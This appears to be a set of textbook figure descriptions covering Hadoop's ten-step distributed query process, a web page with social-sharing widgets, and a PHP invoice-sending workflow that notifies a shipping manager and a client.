Step 1 shows heterogeneous data from large data sets being fed into Hadoop.

In second step, this data is transferred to a "Master Name node".

Step 3 shows the master name node splitting data and replicating it across
different data nodes. These smaller data nodes are subordinate data nodes.

Step 4 shows an user querying for data.

Query job is submitted to master name node which maps job to data nodes.
These are steps 5 and 6.

In seventh step, each subordinate data node executes job in parallel on its
own local data.

Step 8 shows each data node returning its results to name node.

In ninth step, master name node reduces or combines data node results.

Finally, in tenth step, it returns results to Hadoop.



Figure shows a "Tabs" panel along with a painting caption and artist name
displayed below as follows:

Home: About Us: Art works: Artists: Specials:

"Self-portrait in a Straw Hat:

By Louise Elisabeth Lebrun"

Three widgets are displayed between painting caption and artist name, as
follows:

A facebook "like" widget is displayed, with text that reads, "You and 2 others
like this".

A "Google plus 1" widget shows 2 recommendations.

A "Tweet this" widget shows 0 tweets.



Figure shows three screens. First screen shows user page of John Locke,
senior sales rep. The page displays an invoice drawn in name of a client,
Martha Silk. From and to addresses are displayed on top of invoice. Three
titles are displayed along with information about "Author, ISBN, and Year"
."Send to Client" button is displayed at bottom of page.

Clicking "Send to Client" button triggers "sendToClient.php" page, which
opens two screens. First screen shows invoice delivered to "Montague
Tabernashey" who's the "shipping/receiving" manager. A note on top of the
invoice reads, "Shipping action required".

Second screen shows invoice delivered to client, "Martha Silk". A note on top
of invoice reads, "Your Package has been shipped".
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